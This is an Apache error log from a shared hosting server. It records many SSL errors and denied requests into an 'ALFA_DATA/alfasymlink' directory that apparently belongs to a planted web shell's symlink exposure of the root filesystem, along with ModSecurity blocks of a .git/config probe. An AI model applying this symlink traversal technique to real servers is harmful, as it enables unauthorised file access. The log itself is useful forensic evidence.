[Sun Oct 25 11:58:14.848381 2026] [ssl:error] [pid 2858944:tid 2858944] (5)Input/output error: [client 34.204.150.196:20604] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:58:18.889566 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 18.208.11.93:47309] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:58:22.860498 2026] [core:error] [pid 2858954:tid 2858954] (13)Permission denied: [client 18.209.137.234:3845] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/0000:00:01.1/resource3
[Sun Oct 25 11:58:26.825880 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 52.207.47.227:48775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:58:34.357706 2026] [core:error] [pid 2858943:tid 2858943] (13)Permission denied: [client 85.208.96.205:20016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_transaction_s/destroy_by_rcu
[Sun Oct 25 11:58:39.785733 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 34.194.226.74:14592] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:58:42.744032 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 54.156.55.147:27130] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:58:47.054389 2026] [ssl:error] [pid 2858955:tid 2858955] (70014)End of file found: [client 52.200.142.199:2388] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:58:50.797808 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 35.169.240.53:25768] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:58:55.033094 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 3.210.114.189:39625] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:58:58.894136 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 52.73.6.26:50184] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:59:10.851969 2026] [core:error] [pid 2858943:tid 2858943] (13)Permission denied: [client 44.206.65.8:17705] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0501:00/subsystem/drivers/hpet/unbind
[Sun Oct 25 11:59:15.443150 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 3.211.181.86:33384] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:59:18.945640 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 3.221.244.28:41776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:59:28.367091 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 185.191.171.15:35426] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:59:35.175511 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 85.208.96.196:48210] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:59:43.102031 2026] [core:error] [pid 2858970:tid 2858970] (13)Permission denied: [client 18.213.240.226:21895] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/Cavium PTP Driver/bind
[Sun Oct 25 11:59:59.116949 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 98.83.177.42:36894] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:00:06.940809 2026] [ssl:error] [pid 2858953:tid 2858953] (70014)End of file found: [client 18.206.47.187:2819] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:00:11.245552 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 34.238.45.183:42064] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:00:22.950498 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 52.204.71.8:49525] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:00:35.043658 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 54.84.161.62:26157] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:00:39.014838 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 34.193.2.57:37017] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:00:43.093314 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 34.192.125.239:28472] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:00:47.718980 2026] [core:error] [pid 2858953:tid 2858953] (13)Permission denied: [client 54.156.124.2:11880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/drivers/vmd/module/drivers/pci:vmd/new_id
[Sun Oct 25 12:00:51.250836 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 3.221.244.28:34501] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:00:55.046651 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 52.1.106.130:23831] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:00:59.071624 2026] [core:error] [pid 2858944:tid 2858944] (13)Permission denied: [client 100.24.149.244:18911] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource4
[Sun Oct 25 12:01:07.399820 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 3.229.164.203:13591] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:01:11.405498 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 3.210.29.96:44228] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:01:12.417820 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 85.208.96.202:35506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:01:19.278978 2026] [ssl:error] [pid 2858953:tid 2858953] (70014)End of file found: [client 34.202.88.37:8990] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:01:23.567369 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 52.205.222.214:48703] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:01:27.334241 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 54.84.161.62:37307] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:01:31.182914 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 54.147.182.90:19060] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:01:43.644287 2026] [core:error] [pid 2858970:tid 2858970] (13)Permission denied: [client 185.191.171.8:34772] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/hwcache_align
[Sun Oct 25 12:01:52.764050 2026] [proxy_fcgi:error] [pid 2858941:tid 2858941] [client 35.247.64.110:50549] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 12:01:55.259726 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 3.224.205.25:62621] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:02:09.414784 2026] [core:error] [pid 2855792:tid 2855792] (13)Permission denied: [client 85.208.96.196:22340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/poison
[Sun Oct 25 12:02:15.628264 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 35.168.238.50:42929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:02:31.512417 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 52.3.155.146:28396] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:02:52.322353 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 185.191.171.16:64930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_inode/aliases
[Sun Oct 25 12:02:54.694903 2026] [core:crit] [pid 2858944:tid 2858944] (13)Permission denied: [client 216.219.89.86:48026] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 12:02:57.938150 2026] [authz_core:error] [pid 2858955:tid 2858955] [client 40.83.93.179:2409] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 12:02:59.676252 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 44.212.145.46:1752] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:03:03.569710 2026] [core:error] [pid 2858970:tid 2858970] (13)Permission denied: [client 85.208.96.208:46526] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.2/rescan
[Sun Oct 25 12:03:06.316727 2026] [cgi:error] [pid 2858955:tid 2858955] [client 40.83.93.179:2409] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Sun Oct 25 12:03:07.573469 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 35.169.102.85:38467] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:03:11.025133 2026] [core:error] [pid 2858953:tid 2858953] (13)Permission denied: [client 85.208.96.194:28894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_perm_event/remote_node_defrag_ratio
[Sun Oct 25 12:03:15.506269 2026] [ssl:error] [pid 2858944:tid 2858944] (5)Input/output error: [client 18.232.12.157:43392] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:03:21.847825 2026] [core:error] [pid 2858970:tid 2858970] (13)Permission denied: [client 85.208.96.204:22496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid/reclaim_account
[Sun Oct 25 12:03:27.573799 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 52.45.92.83:6353] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/rescan
[Sun Oct 25 12:03:31.735128 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 44.212.131.50:12535] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:03:35.498582 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 54.204.12.115:4434] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:03:47.554928 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 34.239.197.197:18002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:03:50.739007 2026] [core:error] [pid 2858943:tid 2858943] (13)Permission denied: [client 85.208.96.193:20906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/aliases
[Sun Oct 25 12:03:51.948527 2026] [ssl:error] [pid 2858953:tid 2858953] (70014)End of file found: [client 54.197.178.107:61249] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:03:55.492201 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 3.94.157.25:16502] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:04:03.615959 2026] [core:error] [pid 2855792:tid 2855792] (13)Permission denied: [client 52.202.233.37:52031] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/crash_notes_size
[Sun Oct 25 12:04:11.778225 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 44.221.180.179:38057] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:04:27.854427 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 3.231.193.38:63826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:04:31.595226 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 18.235.81.246:37071] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:04:35.683438 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 3.210.114.189:27304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:04:38.068011 2026] [core:error] [pid 2858951:tid 2858951] (13)Permission denied: [client 185.191.171.19:22802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/slabs_cpu_partial
[Sun Oct 25 12:04:39.586937 2026] [ssl:error] [pid 2858955:tid 2858955] (70014)End of file found: [client 3.213.85.234:15156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:05:03.608940 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 18.211.148.239:6349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:05:07.494283 2026] [ssl:error] [pid 2858955:tid 2858955] (70014)End of file found: [client 34.239.197.197:64496] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:05:25.403456 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 44.212.145.46:24393] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:05:31.637755 2026] [ssl:error] [pid 2858953:tid 2858953] (5)Input/output error: [client 34.196.114.170:13250] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:05:39.349128 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 52.22.87.224:21792] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:05:43.502594 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 54.235.125.129:58253] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:05:57.561721 2026] [core:error] [pid 2858953:tid 2858953] (13)Permission denied: [client 85.208.96.210:32640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/slab_size
[Sun Oct 25 12:05:59.307649 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 18.213.70.100:65134] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:06:23.249944 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 44.221.180.179:18302] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:06:27.180742 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 44.214.19.8:44397] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:06:38.757902 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 185.191.171.10:62232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libcrc32c/sections/__kcrctab
[Sun Oct 25 12:07:09.760268 2026] [core:error] [pid 2855792:tid 2855792] (13)Permission denied: [client 85.208.96.197:13276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/order
[Sun Oct 25 12:07:11.025134 2026] [security2:error] [pid 2858955:tid 2858955] [client 34.226.89.140:14354] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/pcspkr/module/"] [unique_id "at4pL-q7T0HAYyztfCsv3QAAABE"]
[Sun Oct 25 12:07:11.025180 2026] [security2:error] [pid 2858955:tid 2858955] [client 34.226.89.140:14354] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/pcspkr/module/"] [unique_id "at4pL-q7T0HAYyztfCsv3QAAABE"]
[Sun Oct 25 12:07:14.831908 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 98.82.107.102:5363] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:07:18.822089 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 3.212.86.97:36598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:07:20.518702 2026] [core:error] [pid 2858953:tid 2858953] (13)Permission denied: [client 185.191.171.11:37290] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-4k/red_zone
[Sun Oct 25 12:07:26.804305 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 35.171.117.160:14032] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:07:39.386566 2026] [ssl:error] [pid 2858955:tid 2858955] (70014)End of file found: [client 34.226.89.140:52613] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:07:42.680305 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 44.217.177.142:19872] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:07:46.632907 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 23.21.204.95:17528] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:07:50.598911 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 98.83.178.66:10110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:07:52.038070 2026] [proxy_fcgi:error] [pid 2858944:tid 2858944] [client 34.73.200.92:51713] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 12:07:58.635669 2026] [ssl:error] [pid 2858955:tid 2858955] (70014)End of file found: [client 35.169.119.108:48025] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:08:06.423502 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 3.218.103.254:33866] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:08:10.363886 2026] [ssl:error] [pid 2858953:tid 2858953] (70014)End of file found: [client 35.174.253.85:62697] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:08:14.323799 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 54.221.203.24:7325] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:08:26.214029 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 23.21.179.27:17937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:08:38.193153 2026] [core:error] [pid 2858940:tid 2858940] (13)Permission denied: [client 44.206.65.8:46990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/device:09/subsystem/devices/device:1f/eject
[Sun Oct 25 12:08:46.190418 2026] [ssl:error] [pid 2858953:tid 2858953] (70014)End of file found: [client 54.197.114.76:26790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:08:50.189264 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 50.16.248.61:50340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXCPU:00/physical_node/node0/memory4/node0/memory18/subsystem/uevent
[Sun Oct 25 12:08:54.190157 2026] [core:error] [pid 2858951:tid 2858951] (13)Permission denied: [client 52.0.105.244:6930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node1/subsystem/drivers/serio_raw/uevent
[Sun Oct 25 12:08:58.284669 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 34.196.6.199:40099] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:09:02.216770 2026] [core:error] [pid 2858940:tid 2858940] (13)Permission denied: [client 35.171.117.160:4972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS1/port
[Sun Oct 25 12:09:18.176395 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 34.204.150.196:17995] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/vmd/uevent
[Sun Oct 25 12:09:22.382119 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 3.93.253.174:57123] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:09:58.013973 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 185.191.171.5:20474] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:09:59.441523 2026] [core:error] [pid 2855792:tid 2855792] (13)Permission denied: [client 85.208.96.206:38594] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/cache_dma
[Sun Oct 25 12:10:02.206451 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 34.206.249.188:38316] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:10:06.264181 2026] [ssl:error] [pid 2858970:tid 2858970] (5)Input/output error: [client 34.196.6.199:57847] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:10:06.264407 2026] [security2:error] [pid 2858970:tid 2858970] [client 34.196.6.199:57847] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input3/mouse1/power/autosuspend_delay_ms"] [unique_id "at4p3hjv1ZqIw7BzV-svnQAAACc"]
[Sun Oct 25 12:10:06.264435 2026] [security2:error] [pid 2858970:tid 2858970] [client 34.196.6.199:57847] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input3/mouse1/power/autosuspend_delay_ms"] [unique_id "at4p3hjv1ZqIw7BzV-svnQAAACc"]
[Sun Oct 25 12:10:10.180569 2026] [ssl:error] [pid 2858953:tid 2858953] (70014)End of file found: [client 34.236.185.101:28371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:10:26.257724 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 3.229.95.193:28096] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:10:30.167021 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 52.3.104.214:40274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:10:34.152440 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 52.5.242.243:45821] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:10:38.182138 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 18.232.11.247:26769] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:10:40.308631 2026] [core:error] [pid 2858970:tid 2858970] (13)Permission denied: [client 185.191.171.12:51736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/objects_partial
[Sun Oct 25 12:10:43.193901 2026] [security2:error] [pid 2858941:tid 2858941] [client 172.71.148.112:14282] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4qA2u-o0KBJy2cxdBIXwAAAAM"]
[Sun Oct 25 12:10:43.194174 2026] [security2:error] [pid 2858941:tid 2858941] [client 172.71.148.112:14282] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4qA2u-o0KBJy2cxdBIXwAAAAM"]
[Sun Oct 25 12:10:43.194469 2026] [security2:error] [pid 2858941:tid 2858941] [client 172.71.148.112:14282] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4qA2u-o0KBJy2cxdBIXwAAAAM"]
[Sun Oct 25 12:10:46.191833 2026] [ssl:error] [pid 2858954:tid 2858954] (5)Input/output error: [client 3.231.193.38:3009] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:10:50.823759 2026] [core:error] [pid 2858951:tid 2858951] (13)Permission denied: [client 85.208.96.206:44500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sunrpc/sections/__kcrctab_gpl
[Sun Oct 25 12:10:58.194899 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 54.84.93.8:62447] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:11:02.155991 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 3.224.215.150:58612] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:11:06.234868 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 34.225.87.80:28362] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:11:18.163682 2026] [core:error] [pid 2858955:tid 2858955] (13)Permission denied: [client 54.84.161.62:61044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/unbind
[Sun Oct 25 12:11:26.343849 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 18.215.77.19:38833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:11:30.262201 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 52.5.242.243:20974] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:11:31.043847 2026] [core:error] [pid 2858953:tid 2858953] (13)Permission denied: [client 185.191.171.5:51726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/reclaim_account
[Sun Oct 25 12:11:34.159555 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 23.21.148.226:45522] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:11:50.175777 2026] [core:error] [pid 2858943:tid 2858943] (13)Permission denied: [client 23.21.179.120:22319] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/8250_lpss/bind
